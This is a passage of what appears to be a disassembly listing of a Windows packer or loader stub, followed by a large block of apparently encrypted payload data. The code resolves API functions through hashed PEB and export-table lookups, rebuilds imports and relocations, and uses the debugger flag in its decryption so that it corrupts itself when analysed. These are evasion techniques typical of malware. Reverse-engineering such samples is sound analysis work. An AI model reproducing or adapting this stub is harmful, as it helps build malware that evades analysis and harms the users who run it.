[ebx+0Ch] cmp edi, eax jz short loc_46BD1A mov ecx, [ebx+10h] jecxz short loc_46BD1A mov esi, [ebx+14h] cmp esi, eax jz short loc_46BD1A add esi, [ebp+2B2h] add edi, [ebp+2AAh] loc_46BD0A: ; CODE XREF: DMN1:0046BD18j lodsb push ecx mov ecx, large fs:30h add al, [ecx+2] pop ecx stosb loop loc_46BD0A loc_46BD1A: ; CODE XREF: DMN1:0046BCF0j ; DMN1:0046BCF5j ... add ebx, 28h dec edx jnz short loc_46BCE9 mov eax, [ebp+2AAh] mov [ebp+2B2h], eax mov ecx, [ebp+2FCh] jecxz short loc_46BD3C add ecx, eax mov dword ptr [ecx], 0 loc_46BD3C: ; CODE XREF: DMN1:0046BD32j mov esi, [ebp+2B6h] mov ecx, [esi+0A4h] jecxz short loc_46BD8D mov ecx, [esi+0A0h] jecxz short loc_46BD8D mov esi, [ebp+2AAh] add esi, ecx loc_46BD5A: ; CODE XREF: DMN1:0046BD6Bj ; DMN1:0046BD8Bj lodsd or eax, eax jz short loc_46BD8D add eax, [ebp+2AAh] mov edx, eax lodsd sub eax, 8 jz short loc_46BD5A mov ecx, eax shr ecx, 1 loc_46BD71: ; CODE XREF: DMN1:loc_46BD89j lodsw test ah, 30h jz short loc_46BD89 and eax, 0FFFh add eax, edx mov ebx, [eax] add ebx, [ebp+2AEh] mov [eax], ebx loc_46BD89: ; CODE XREF: DMN1:0046BD76j loop loc_46BD71 jmp short loc_46BD5A ; --------------------------------------------------------------------------- loc_46BD8D: ; CODE XREF: DMN1:0046BD48j ; DMN1:0046BD50j ... mov edx, [ebp+308h] add edx, [ebp+2AAh] mov [ebp+2A2h], edx mov esi, [ebp+2B6h] mov esi, [esi+80h] or esi, esi jz loc_46BE44 add esi, [ebp+2AAh] loc_46BDB9: ; CODE XREF: DMN1:0046BE3Fj mov eax, [esi+0Ch] or eax, eax jz loc_46BE44 push esi add eax, [ebp+2AAh] cmp byte ptr [eax], 0 jz short loc_46BE3A push eax call dword ptr [ebp+4ADh] or eax, eax jz loc_46BE97 mov esi, [esp] push eax mov edi, [esi+10h] or edi, edi jz short loc_46BE3A mov eax, edi add edi, [ebp+2AAh] mov edx, [esi] or edx, edx jnz short loc_46BDFA mov edx, eax loc_46BDFA: ; CODE XREF: DMN1:0046BDF6j add edx, [ebp+2AAh] loc_46BE00: ; CODE XREF: DMN1:0046BE38j mov eax, [edx] or eax, eax jz short loc_46BE3A bt eax, 1Fh jnb short loc_46BE13 and eax, 0FFFFh jmp short loc_46BE1C ; --------------------------------------------------------------------------- loc_46BE13: ; CODE XREF: DMN1:0046BE0Aj add eax, [ebp+2AAh] add eax, 2 loc_46BE1C: ; CODE XREF: DMN1:0046BE11j push edx push eax push dword ptr [esp+8] call dword ptr [ebp+4B6h] or eax, eax jz short loc_46BE97 pop edx mov [edi], eax mov eax, 4 add edi, eax add edx, eax jmp short loc_46BE00 ; --------------------------------------------------------------------------- loc_46BE3A: ; CODE XREF: DMN1:0046BDCEj ; DMN1:0046BDE8j ... pop eax pop esi add esi, 14h jmp loc_46BDB9 ; --------------------------------------------------------------------------- loc_46BE44: ; CODE XREF: DMN1:0046BDADj ; DMN1:0046BDBEj mov ecx, [ebp+2AAh] mov eax, [ebp+2A2h] mov [esp+1Ch], ecx cld pusha mov edi, [ebp+2BEh] or edi, edi jz short loc_46BE86 mov ecx, [ebp+2A2h] jecxz short loc_46BE7C mov al, 0B8h stosb mov eax, ecx stosd mov eax, 0FFh stosb mov eax, 0E0h stosb jmp short loc_46BE86 ; --------------------------------------------------------------------------- loc_46BE7C: ; CODE XREF: DMN1:0046BE66j mov al, 0C2h stosb mov eax, 0Ch stosw loc_46BE86: ; CODE XREF: DMN1:0046BE5Ej ; DMN1:0046BE7Aj popa pop ebp pop edi pop esi pop edx pop ecx pop ebx cld or eax, eax jz short locret_46BE94 jmp eax ; --------------------------------------------------------------------------- locret_46BE94: ; CODE XREF: DMN1:0046BE90j retn 0Ch ; --------------------------------------------------------------------------- loc_46BE97: ; CODE XREF: DMN1:0046BDD9j ; DMN1:0046BE2Aj mov eax, 1 jmp dword ptr [ebp+4C8h] ; --------------------------------------------------------------------------- dd offset sub_407E30 align 4 dd 2 dup(40h), 0 a@a@: unicode 0, <@€@> dw 0C000h dd 0EE210002h, 46h, 7, 206B0000h, 44h, 0Ch dup(0) dd 400000h, 2C000h, 7E30h, 400h, 27A00h, 0 ; =============== S U B R O U T I N E ======================================= sub_46BF18 proc near ; CODE XREF: DMN1:0046BC5Fp var_4 = dword ptr -4 mov eax, large fs:30h movzx ebx, byte ptr [eax+2] add eax, ebx mov eax, [eax+0Ch] mov edx, [eax+0Ch] push edx lea eax, [ebp+471h] push eax push large dword ptr fs:0 mov large fs:0, esp loc_46BF40: ; CODE XREF: sub_46BF18+9Dj mov edx, [esp+0Ch+var_4] mov eax, [edx+18h] mov ebx, eax mov eax, [eax+3Ch] add eax, ebx mov ecx, [eax+78h] jecxz short loc_46BFAB cmp dword ptr [eax+7Ch], 0 jz short loc_46BFAB add ecx, ebx mov esi, [ecx+0Ch] or esi, esi jz short loc_46BFAB add esi, ebx mov eax, [esi] or eax, 20202020h mov [ebp+498h], eax mov eax, [esi+4] or ax, 2020h mov [ebp+49Ch], eax mov eax, [esi+8] or eax, 202020h mov [ebp+4A0h], eax mov byte ptr [ebp+4A4h], 0 lea esi, [ebp+498h] mov edi, 0Dh call sub_46C0E7 cmp eax, [ebp+494h] jz short loc_46BFB7 loc_46BFAB: ; CODE XREF: sub_46BF18+39j ; sub_46BF18+3Fj ... mov edx, [esp+0Ch+var_4] mov edx, [edx] mov [esp+0Ch+var_4], edx jmp short loc_46BF40 ; --------------------------------------------------------------------------- loc_46BFB7: ; CODE XREF: sub_46BF18+91j mov [ebp+47Ch], ebx mov esi, [ebx+3Ch] add esi, ebx mov esi, [esi+78h] add esi, ebx add esi, 1Ch lodsd add eax, ebx mov [ebp+480h], eax lodsd add eax, ebx mov [ebp+484h], eax lodsd add eax, ebx mov [ebp+488h], eax sub esi, 10h lodsd mov [ebp+48Ch], eax xor edx, edx mov [ebp+490h], edx lea eax, [ebp+4A8h] loc_46BFFD: ; CODE XREF: sub_46BF18+110j ; sub_46BF18+146j mov esi, [ebp+484h] add esi, edx mov esi, [esi] add esi, [ebp+47Ch] push eax push edx movzx edi, byte ptr [eax+4] call sub_46C0E7 xchg eax, ebx pop edx pop eax cmp ebx, [eax] jz short loc_46C02A add edx, 4 inc dword ptr [ebp+490h] jmp short loc_46BFFD ; --------------------------------------------------------------------------- loc_46C02A: ; CODE XREF: sub_46BF18+105j shr edx, 1 add edx, [ebp+488h] xor ebx, ebx mov bx, [edx] shl ebx, 2 add ebx, [ebp+480h] mov ecx, [ebx] add ecx, [ebp+47Ch] mov [eax+5], ecx add eax, 9 xor edx, edx mov [ebp+490h], edx lea ecx, [ebp+4E7h] cmp eax, ecx jb short loc_46BFFD mov esp, large fs:0 pop eax mov large fs:0, eax pop eax pop eax retn sub_46BF18 endp ; --------------------------------------------------------------------------- mov eax, [esp+8] mov esp, eax jmp loc_46BFAB ; --------------------------------------------------------------------------- dd 77E60000h, 77E82168h, 77E82FE8h, 77E83E68h, 3A0h, 0 aHfKernel32_dll db '>hf<kernel32.dll',0 align 4 dd 4134D1ADh, 0E805D80Dh, 0C97C1F77h, 0A5FD0FFFh, 890E77E7h dd 0A0D4402h, 8177E798h, 0C40F571h, 77E75CB5h, 335DDFDCh dd 0E7339C0Dh, 0FFFB1477h, 0F0440DF3h, 0D4BB77E7h, 9A0F79C3h db 16h, 0E6h, 77h ; =============== S U B R O U T I N E ======================================= sub_46C0E7 proc near ; CODE XREF: sub_46BF18+86p ; sub_46BF18+FBp push ebx push ecx push edx push esi push edi cld xor ecx, ecx dec ecx mov edx, ecx push ebx loc_46C0F3: ; CODE XREF: sub_46C0E7+35j xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_46C102: ; CODE XREF: sub_46C0E7+2Ej shr bx, 1 rcr ax, 1 jnb short loc_46C113 xor ax, 8320h xor bx, 0EDB8h loc_46C113: ; CODE XREF: sub_46C0E7+21j dec dh jnz short loc_46C102 xor ecx, eax xor edx, ebx dec edi jnz short loc_46C0F3 pop ebx not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edi pop esi pop edx pop ecx pop ebx retn sub_46C0E7 endp ; --------------------------------------------------------------------------- align 2 dw 0EABh dd 2371B0D8h, 61789344h, 0A0C1DB60h, 457089F0h, 0A30468AEh dd 5BBF4A9Ch, 0BE1F0473h, 0B6FEF082h, 0ACA1F41Ch, 682A48C4h dd 0C8A2EC9Ah, 0FC0C9C3Fh, 4573D404h, 526F0961h, 1D874338h dd 7A8BE0FEh, 3CD21F27h, 4F650109h, 0EEC8D195h, 826F95CAh dd 0C896BB68h, 6A341DB6h, 342BFA6h, 1B051432h, 1A8FDF3Ah dd 53DA44FCh, 2E2585D6h, 1C5EC1E9h, 0D78763C1h, 0A3BF494Bh dd 0A0EE0613h, 23674138h, 5DBFFC92h, 0F22E6EDEh, 8C937B2Dh dd 532F3F59h, 0FE7A37C0h, 7460527Fh, 0FE0F153h, 87F910F1h dd 0DE9CFB78h, 657D53A0h, 85F25D4Bh, 9E7A71DFh, 0BC430BBBh dd 0DAB279CCh, 4213A2D6h, 0A46B1D89h, 9C330F28h, 57CCD95Ch dd 79D2B727h, 814C8C9Fh, 5327B005h, 674FE20h, 6AA5C46Dh dd 7A8A6248h, 973752Dh, 0D5596CA7h, 738719EAh, 0D3DEAEA9h dd 8481AAF0h, 9188430Ch, 7CAA763h, 5192FDF4h, 69C0CE2Fh dd 1F4840DEh, 0E1D75C26h, 2CE8E68Dh, 38F4AEEFh, 0D0082A8h dd 0C40AC606h, 6AC97154h, 8977D580h, 492FE027h, 0AEFF825Dh dd 0C0FFB937h, 90E03F57h, 7CA31D15h, 8E805D62h, 2873E2E5h dd 18DA5398h, 0C602E6D6h, 28A922FDh, 0D3691546h, 100CF4D1h dd 67100037h, 0C3C0C81Fh, 0FB9AD1ADh, 0AAE46643h, 597BC3C5h dd 8762F89Ch, 0BBCCC01Eh, 20ADF16h, 0E98A7E93h, 0DF389C4Fh dd 515CAFF6h, 0ACC55AF6h, 0D0C552C9h, 82C3ACE9h, 82F5CAA7h dd 54A7FEBEh, 1CCF2CF4h, 2F1E7071h, 3ED09DA3h, 180D5E7Ch dd 0A4663418h, 0FBB8A959h, 0B767A889h, 7954BA1h, 0DDDDE11h dd 7DA2FD02h, 3CD6F1FFh, 0A6ADB5BAh, 0D3D3885Eh, 55FEAFA8h dd 0C11ED494h, 94898343h, 0CF543DB9h, 98E70870h, 0CC902964h dd 0BFCD507Ch, 98F1DDD0h, 6FAF917Bh, 5C5664Ch, 0E050B750h dd 1EB82838h, 32617B96h, 0C0117622h, 2DAB44B8h, 0D96350C6h dd 0F6971BDBh, 89D34F6Bh, 590F3CDCh, 42D3DCAEh, 0A0A3D85Fh dd 0B938E5E0h, 7EDE31A7h, 0E6022528h, 8FA012D5h, 33C32767h dd 0CBEEDB8Eh, 0FE203897h, 93664ECBh, 7BBC728Ch, 1C8A0D28h dd 127CAD82h, 325348C6h, 3445E1D3h, 7AE06E33h, 92647B87h dd 33783CD3h, 1E9B6969h, 39C9D7B0h, 1E995C8Bh, 0BFA3DB10h dd 34BB470h, 38B79558h, 0BC5B5262h, 666A1E65h, 5D5523DBh dd 0DCB3F000h, 0C0D7F743h, 0C593C2D9h, 0A35AD0CDh, 4D90D97h dd 0BF82C990h, 2ED03E49h, 6F65D73h, 5B6E5DF9h, 0E3769ECDh dd 76A95B5Ah, 93BA0C75h, 84079285h, 47F635B3h, 0B694C2DEh dd 0D3765EAh, 4CC209ADh, 0C8AEE8B2h, 7677F327h, 0BF2908Dh dd 7486A448h, 8D081517h, 879AD165h, 2AF364FCh, 0CD335C02h dd 0CC0CD908h, 53EF4E45h, 0BA7D7AA1h, 0CAAA195Ch, 0A713F5A6h dd 7C26AB42h, 671D6394h, 0BD2D2813h, 7BD8BB4Bh, 162BFFD4h dd 0EAE347C9h, 0A2EF584Eh, 80686AD4h, 0B71C29A0h, 2CE09D83h dd 2BF34C71h, 0AB12DFCBh, 99CF22CBh, 2C353C1Fh, 58C6D5FAh dd 0C6305CB4h, 0ECC730A8h, 0CA41CEE6h, 95C5811Fh, 1325E8D4h dd 22DA92AEh, 9CDBCFC3h, 95510E90h, 4B5D4311h, 8AC5FD31h dd 0EA213173h, 0E8012BEBh, 825FA951h, 2873522Ch, 11502A0Ah dd 31C54B2Fh, 0B5904DDh, 9CEB90E2h, 37B73E86h, 0FBA59833h dd 0A3C48117h, 6DC5A7CAh, 964D7798h, 0F23A54C9h, 0E633D58Ah dd 6058A2E1h, 0B417CDD0h, 61AD07DFh, 55DFF5FDh, 0DFC61962h dd 0EE68FBE2h, 1A1C4D2Fh, 437597E0h, 0AD737375h, 45043699h dd 0FB61847Ch, 63F6A6h, 0AF83C51Fh, 0FCEBD00h, 0FBAAE500h dd 6E0A59F1h, 0A015A381h, 6C36D641h, 0BFEEAD57h, 0C59D316Bh dd 0EED576A2h, 0CECB8C9Fh, 0D53A76BCh, 2A81BBA4h, 470F30BEh dd 8E994D09h, 0D1933929h, 0CB571679h, 4AA52AC2h, 0CE75B27Eh dd 7961CFF3h, 5A54E05Ch, 0BA800875h, 8CE71AD6h, 472D4247h dd 0FDAFDDEDh, 0B7C5019h, 68474185h, 0DECE32C7h, 275E880h dd 0EEE9887Dh, 611099FEh, 0AB83A78Fh, 5F279F70h, 0F10447C5h dd 2FC9A295h, 0FF528748h, 9669E567h, 0BA4A9FFAh, 3BA2F968h dd 0B6CD86F1h, 2154D8B8h, 248EE909h, 7AAFB264h, 5A95CF0Fh dd 0DF8A697Ch, 99AC569Bh, 45F395FFh, 0CFA4972Dh, 0A55280C9h dd 0F83B0FA8h, 58E9A31h, 4F7B52CEh, 0DFCFE0BBh, 0FF4A17FBh dd 0FF780BE6h, 8EA2B5C1h, 7094FDAFh, 444FE310h, 0CE7D1837h dd 7F26F17h, 75408197h, 4233D05Eh, 53CAB492h, 8EAD5B0Ch dd 31FC25D4h, 91CB8830h, 48889463h, 92DE6D77h, 6C6C8C4Fh dd 0C7081665h, 9C463A79h, 47627370h, 9CCEBB03h, 79A1A07Bh dd 10AEDADEh, 30C8F1DEh, 72624214h, 0B0B009F5h, 4F416E44h dd 6B3F7041h, 4F1A7C7Fh, 0CA1C359Dh, 48875669h, 18D58363h dd 2C5BA806h, 96F7063Dh, 611445A6h, 0F97C8CAh, 0EE321A6Ah dd 65AEED8Eh, 0D61FC2E3h, 0E8B1D959h, 0F7745661h, 13653AA3h dd 3821C512h, 4F0DDE96h, 8C8C93BAh, 0E830BF99h, 81FE3914h dd 0FDE44C1Eh, 150A4FBh, 0B9424222h, 410807B8h, 6CD37A1Fh dd 0D1C4BF80h, 622FEF6Ah, 42B83AC4h, 5D02165Eh, 5320F2A0h dd 23137B80h, 772F55DBh, 0EE039EB7h, 0FE4CD1h, 31D963A8h dd 0D8511428h, 0B859B2EFh, 35F7A099h, 0C7481D33h, 5D4100E1h dd 382E0143h, 936787F9h, 2DDDD4FEh, 0CB7AB1D7h, 1522086Eh dd 65674A7Ah, 28318881h, 33BBD344h, 1391B8B1h, 0C10A845h dd 0A7E17278h, 0F884A079h, 0F89007ADh, 0A474CBE4h, 5F1C3EFCh dd 0FAE15C3Ch, 554CB905h, 0D1CCACE8h, 37ACE77Fh, 0F8D0C8B5h dd 49053516h, 7F05434Eh, 462DE122h, 0FBD73205h, 0B06C1491h dd 3CAACBDh, 427556C9h, 628DD9E9h, 5AB6373Dh, 42F603A7h dd 45A4406Bh, 0AB2A493Bh, 0C1ABD527h, 6481AC40h, 6BCABDC8h dd 0D4E622F0h, 0C5FB4740h, 460BBE51h, 0E797D837h, 0F47ACAFBh dd 1DAFE0CFh, 9C9628C3h, 0DA8E44DBh, 7ED13A9Fh, 6096CB96h dd 0D66435A1h, 61F16EFCh, 423535Ah, 7D39CC59h, 69733074h dd 32C8A76Fh, 0BA0FBF1Ch, 55BA5045h, 6F25F803h, 213AEB32h dd 8DAE9737h, 89466A5h, 0DC15BBF0h, 0E80F0041h, 57293E04h dd 3EB2812Eh, 3C1503CCh, 9A3A6744h, 0D9B00406h, 9727209Ah dd 6DA62F16h, 204EFC06h, 3B506A66h, 0FB13E426h, 0BB2B1B3Fh dd 0DA3F2EBEh, 967E8DA9h, 0B3CD465Bh, 0B60D327Ch, 0F6980CE2h dd 588268B6h, 3CC141CDh, 7AC4C59Ah, 50222F66h, 76879562h dd 23FA8C6Dh, 34A9E35Ch, 0B2F0DE95h, 42000388h, 896E6F42h dd 0EA146C60h, 2051B542h, 553D8B80h, 7520FDAAh, 69916B77h dd 72EB1A4Ch, 5DF49A8Ch, 0BE9807A9h, 59DC9667h, 6A36AB8Ah dd 27542BD5h, 0B9C6DBBFh, 5F67DE2h, 0E6D94494h, 6EDBF0D5h dd 0F2477C7h, 0ECEE8A4h, 254CDABFh, 0E5E935B8h, 855F23D3h dd 0B336656Bh, 0E4FCBC1Ch, 3F257EDBh, 69C60DB6h, 6B25EFC1h dd 0E5466AA5h, 27DFAE0Fh, 36FC39E5h, 0B1F918F8h, 7DF317B0h dd 95412280h, 0CA305BC8h, 0D60DECB4h, 16F6DAE0h, 3F4F8E49h dd 0EF0CFB21h, 0CCFB2511h, 0F0B938B6h, 72CE7253h, 0B04F522Eh dd 8A8700BAh, 0CA07EDCEh, 0CC972E1Eh, 0C73B0199h, 23D38E55h dd 3FB16987h, 6E04D51Bh, 0E2D53495h, 942455F6h, 247D1C67h dd 0FCB905D9h, 9FC699A6h, 0E2215E46h, 8B4EE114h, 8360547Dh dd 0C3A154B7h, 4EB5A6D9h, 64AE407Eh, 0AE16A085h, 1E7DCC80h dd 7B716509h, 99B76C17h, 409781D2h, 4646521Dh, 344C4060h dd 9BB48815h, 25E9221h dd 9992F4EAh, 52032C99h, 1BAF4h, 8F6E3836h, 937D4435h dd 6AA01E7Fh, 0CC909B44h, 8B59F20Dh, 0C8E99A5Ch, 59F3BB39h dd 0A2D10C71h, 0CB412976h, 0FBEF98A0h, 3CC29A43h, 14553398h dd 0D750F34Fh, 41068F63h, 845FCCF2h, 0D026305Ch, 0F06AB477h dd 1D4EAAB4h, 0F539B871h, 67F98B12h, 1098F476h, 41616135h dd 0C171B0B0h, 497404A1h, 385A2682h, 8C399DB4h, 0F650BAE2h dd 6194FA72h, 69D919FEh, 0B6F6E403h, 0A6BB5817h, 7549BB07h dd 3703F05Eh, 84438B00h, 181F8A4Fh, 0D97EF2C5h, 777262E1h dd 3019E72Ah, 0F0942D8Fh, 0BE9B3E5Ah, 2C602725h, 0DD576138h dd 1A44F265h, 61D22380h, 0E09AAh, 0E2A689A4h, 5CCFB9EDh dd 63DDB0D1h, 0F3D6CBD4h, 0FF797A75h, 0D596F807h, 46AC21A1h dd 0F37E996Ch, 32488AF0h, 5D1ED6Dh, 0EE4EAE7Fh, 3A7ED70Dh dd 6A6C00CAh, 0DA6F7DA2h, 0A5892606h, 0B004AC39h, 0BC3DEA21h dd 821A02F7h, 0AD38EFB3h, 884B80A0h, 0FB063984h, 0B79EEAA2h dd 0A8882412h, 0D835E8BCh, 898917A4h, 0B1393706h, 5C0B4ED5h dd 0D158A1ADh, 0FF414577h, 9883B98Bh, 0FD7E8789h, 0CD17CF42h dd 3110B6C3h, 5093B7BCh, 2831F48h, 699DC948h, 0E899F970h dd 2E691391h, 96D94BA8h, 599D8915h, 0C67DB5A4h, 0B0858290h dd 0C1B4EFAFh, 47D91D8Eh, 928A9B7Ch, 7BABC769h, 9EF1DD0Fh dd 5FF0C5FCh, 0F6E15EC5h, 938E2195h, 5F35EA9Ch, 25BA8099h dd 0F1A271FCh, 662AD283h, 8E9BB5EAh, 5431AEDAh, 97DFF8CBh dd 75F4BAEFh, 0DC37F0A9h, 3A537B7Bh, 0A8FE35CDh, 0DCCC7C30h dd 78FDA0B4h, 0DAD60106h, 4DBAD09Ah, 0F10115BCh, 670C1EF9h dd 1F0F1EE9h, 0F5549597h, 864EB813h, 1CEEA1B9h, 0EE1FBA52h dd 51DB3BD5h, 0CC0E32DFh, 0DF0F6C9Bh, 341369D1h, 0B7E32AE4h dd 3C4EAA62h, 0A5E964BAh, 7F9916AAh, 0CC5357E8h, 8A11D41h dd 7D019275h, 0EBDB91FDh, 0EE9B7925h, 5E17A29Bh, 60BCE68Ah dd 5140BE88h, 0E6841D01h, 98CAF681h, 37D846A6h, 0B19410CCh dd 0E1BD718Fh, 0A933E9EEh, 0C0427E5Fh, 0B9511006h, 0C330FE9Ah dd 0E0034724h, 37DFAF16h, 720AC8B6h, 2414107Dh, 15C982E5h dd 253E78FFh, 1CE564D1h, 0DAF9113Ah, 0AF184D3h, 6051D848h dd 52D35007h, 0FD197FE7h, 0FA78958Bh, 0C489E0F4h, 0E9A6822Bh dd 0C9A8122Fh, 403E5D96h, 40D17DA0h, 0B8B932B4h, 708CF95Ch dd 910713EEh, 3C3A1EC6h, 0F3183DE8h, 4B9D7ED3h, 98C07194h dd 0A2846F2Ah, 3C699901h, 0D56160B6h, 0E16D1FCAh, 88B2AACCh dd 42105DCDh, 621D6C19h, 174CE955h, 9269F53Dh, 0DD78CCD2h dd 11ABF77Fh, 0AFA61616h, 4E7690D4h, 64F8730Dh, 0C7961C40h dd 2618E5CFh, 199E1252h, 0B1F998C2h, 2115512Ch, 256583ADh dd 999284A5h, 2F81F552h, 0E57A9AC9h, 0BCD44D64h, 5C2ADDD4h dd 0DE8120C3h, 0C356AD13h, 0B346C05Dh, 0B8109AB4h, 0C998B8D4h dd 56BFACF1h, 0AEB076BDh, 439B7627h, 0D5FF7865h, 43F781C3h dd 638E2696h, 4E85927Bh, 7B563E52h, 0AA4847D4h, 0CBC01094h dd 930FAADDh, 2F9DBAC5h, 0A715E0BBh, 62323D0Ch, 0AB5B2C05h dd 0C7BAFF35h, 62B31CE9h, 7ECC4468h, 0A32088F2h, 0BC0F848Dh dd 71E85377h, 1F5C00E2h, 322F05A7h, 0AB385526h, 7E649B12h dd 0A1391A76h, 0AC89C6A7h, 0C81B5E8Fh, 0C37A23E7h, 0E570C1A4h dd 0FD6F311h, 2E368B1Dh, 0F16064EDh, 47A896A5h, 0EAB032FAh dd 83DF572h, 0EFED185Bh, 10A41127h, 9E84BCA7h, 0C08F3A33h dd 0C3BC73F4h, 0F5B025F4h, 2D7272EFh, 5CCBCDAEh, 0A365844Fh dd 16140D47h, 3E904E64h, 74CADD09h, 0A3F0FB17h, 0E14FB794h dd 0A47EF8DEh, 1B57D4F4h, 24251CDAh, 3612C51Bh, 0D13B2DC4h dd 0B3F7F6D7h, 0CF91C8E1h, 3C0210A6h, 0C001283h, 9D20F784h dd 0EFF3414Bh, 84977F3Fh, 2EEB5FEAh, 0D27EBE59h, 0C66A2F17h dd 0A101EED6h, 2B8BEB1Eh, 9F8FE084h, 0B64C60C2h, 0DE9BFB77h dd 984F1D5Ch, 70C055BBh, 0C2A0DE4Eh, 43D9060Fh, 0B7ECF643h dd 500AA304h, 0B36EC368h, 8179FE24h, 1D14DF2h, 8B96BF3Bh dd 4B260DE4h, 0C1DF7E31h, 0C4EF5254h, 94B8137Dh, 505BD3F6h dd 70092247h, 9242F9B9h, 153FD34Ah, 0DA29B9F7h, 45545C87h dd 0CE41E763h, 45BFFE29h, 6D767BD8h, 0A5F5D2Fh, 84A17C9Bh dd 0E946C59Bh, 4E374CD8h, 0D4EED04Ch, 7B8ADDCCh, 1D852AF7h dd 18447F97h, 6064CD71h, 5DC31B71h, 0E215395Eh, 47DCBA72h dd 481DA516h, 4635B22Bh, 17DA0322h, 943AC87Dh, 0ABBD3915h dd 0A73EEDB4h, 18FD8D8Fh, 0CE9C2AC5h, 33612D3Bh, 316B7C32h dd 0E9CC1611h, 757113BDh, 66B2B250h, 727D58C6h, 46D19E2Fh dd 72BB8189h, 5F4B0894h, 8173EC1h, 71317B85h, 0F30B719Eh dd 98CDDCBDh, 0A16A187Dh, 0CC2D1F93h, 0C34FBCF5h, 4655B7B1h dd 86E93A79h, 466061ADh, 0D98AA9B5h, 0D07CDE78h, 53B4DFD5h dd 20337D9Ah, 0FC77D4B1h, 0F2283EFEh, 0EE0A2C60h, 0B9151BF5h dd 0B50E6FA7h, 6C1F80EFh, 21329782h, 0CAF83A0h, 0EF4BF759h dd 0C6C0EC3Bh, 67AF0507h, 2A2B0467h, 0C640109Ch, 748B67E6h dd 4AE2BAB8h, 9CA0106Dh, 9B173C67h, 0B09CC313h, 1EED6E3Ch dd 0F01E9EBh, 0D8D1E509h, 0AF4A5BE3h, 0C8E9BDC0h, 0BF71DB4Dh dd 3FD4320Ah, 7CA2CAE5h, 60C90FF4h, 439858A4h, 0AB185DC0h dd 81B1122Dh, 0F5BC41Bh, 0ACF6BAE0h, 20BA9AFAh, 1BB068B7h dd 0D58E3F61h, 0BE251B13h, 0F44341BAh, 5614F5D7h, 3E28EFDBh dd 0C0E7E299h, 1B0C2AC0h, 40DE560Dh, 291DCF2Ch, 2E19E7E5h dd 143F8DA5h, 0C6C55E96h, 1A70CC61h, 0B6010083h, 61F62449h dd 0B0235C78h, 0BB020879h, 0B6EA0F6h, 0AB1E81B7h, 346BE355h dd 0D438B0BFh, 4EE1188h, 548ABFE4h, 0B4F3F8BFh, 0B50243AEh dd 63A55465h, 0DB99F7CAh, 0F8C1FDF4h, 7510C576h, 1C71B24Fh dd 108AED0Ah, 0A8E44BA4h, 7B5D4120h, 0DC4EC853h, 37575237h dd 4D8419E0h, 0AD474F46h, 4A026B71h, 0E92D4C38h, 0B64B8516h dd 0FB5CB42Ah, 0FE9B2686h, 4128362Fh, 63608777h, 0A8AC1026h dd 0E60733A0h, 0B8003AF2h, 64324A3Ah, 0E8FDC571h, 0C44C7122h dd 0D264F10Fh, 0F8CDA4B7h, 814D4B72h, 0B97DE365h, 9E158429h dd 9D21FCD1h, 0C97E04A8h, 90628F9Bh, 0A2033AA3h, 256A72B4h dd 13DAE1D6h, 88CEADADh, 61649754h, 12EC51E8h, 0D470B58Bh dd 357962CBh, 0A88AAEE2h, 0FC283780h, 891E6AD4h, 4219DD0Ch dd 224E27F7h, 7644ED44h, 903DF123h, 0F525AA4Fh, 27819AA9h dd 8773AB91h, 8ED8A152h, 0FB6EEF88h, 9C6252B1h, 8987B40Fh dd 94116B59h, 4035E558h, 0C885D8E5h, 9CCA890Dh, 68FB4992h dd 2483B59Ah, 0A1C31399h, 349A2D65h, 0A72B651Bh, 720E99BBh dd 7314DE71h, 0DDB9CE8Bh, 7EEB4FE9h, 6A1B9441h, 0A610EDB9h dd 8B8869D7h, 7EFEBC32h, 0A2F93504h, 0AD89B033h, 45066AEAh dd 10FF5548h, 49ADD6C3h, 0DE23EBBEh, 843408Dh, 0D88EBB53h dd 922CAF5h, 91854050h, 0F2D198BFh, 6D66574Eh, 0AF016B62h dd 2C1718BFh, 7F97731Ah, 0C6B3C9FFh, 7086F468h, 0C31EA6F5h dd 47D7A84Eh, 0A6C9CAA2h, 7EBA0DA2h, 0FB06B25Fh, 454E7459h dd 37C800D7h, 0FD8AE9C3h, 0DDBEC254h, 0F1272B98h, 75CE6B97h dd 0FD553A9Ah, 1DD90132h, 4B1EAD56h, 777E03BBh, 0C5747C37h dd 0A6122C87h, 70073314h, 0E931F834h, 41EB29B0h, 0E9EBD225h dd 0FC5AC3Dh, 75E60835h, 0FEF1CBEh, 791CFF62h, 0C281FD9h dd 0DD129306h, 3D3035CCh dd 0FCCC4A92h, 63BC7DCCh, 0F565E01Ah, 0BB439704h, 0E5780243h dd 0F9F4DCBEh, 0FF2EC686h, 0B0D2CB9Bh, 4E7738A1h, 0B1BBA867h dd 0E8EED889h, 1018CB25h, 5004C6D8h, 0DB110DF2h, 6A25F494h dd 8D228B17h, 0A305B3A6h, 500360E3h, 1C2EC52Eh, 910E0337h dd 5CD00BBAh, 0C0C238FFh, 0AE9F3EEFh, 0AE1B8894h, 0BFB45013h dd 1F8DAF7h, 55A94D44h, 2BE00E40h, 0F18FBDFFh, 7A7BCBCFh dd 0A07F6E25h, 11656F2Ch, 7727966Fh, 0B2CD1DE9h, 0DB968D2h dd 0C2DABF72h, 882835A0h, 30C83CECh, 812E9038h, 1CA7E9A5h dd 0AA8E5631h, 58C141A9h, 0C7EDE642h, 97754D1Dh, 55B9CD4Bh dd 0B9A4EF0Fh, 63D63E42h, 138DD49Dh, 9DA5F079h, 15C720DDh dd 300AFF50h, 8D0992ECh, 0D4B62FA9h, 0EDD8589Ch, 9CA07F18h dd 52A4EAD4h, 2A71E958h, 94D74658h, 69D489F7h, 977EF62Ah dd 0A424615Dh, 3BBF6F9Eh, 4932D8A8h, 0FE70C140h, 954B0E4Bh dd 0BF88759Bh, 44DE5C94h, 71EDD058h, 69F3F165h, 66F868C8h dd 58A0FC0h, 3EAF0974h, 23B7A2F7h, 0BDFF5BC4h, 7B151657h dd 9C13A28h, 0DA6E0CA3h, 7F82F779h, 0F73B902Eh, 0EAA8B8E0h dd 0D780DC97h, 93F47DBBh, 7767DA0Fh, 5FA5A585h, 40F26223h dd 5FCA12F5h, 0A628D1DAh, 0B45B00B6h, 0CE06DC5Ah, 8114C6D3h dd 0A0F0537Fh, 7901488Dh, 0F97C2CEBh, 0AD554A36h, 2FD1A3ACh dd 0A0255B44h, 1961C65h, 0A8C6D9EEh, 0C73A189Ah, 0FB481CCFh dd 98EA10FBh, 7407B8D6h, 754E6665h, 4ABC6CB8h, 77961h dd 967AA4C9h, 6945D049h, 0BD7B6A18h, 40435417h, 1499807Fh 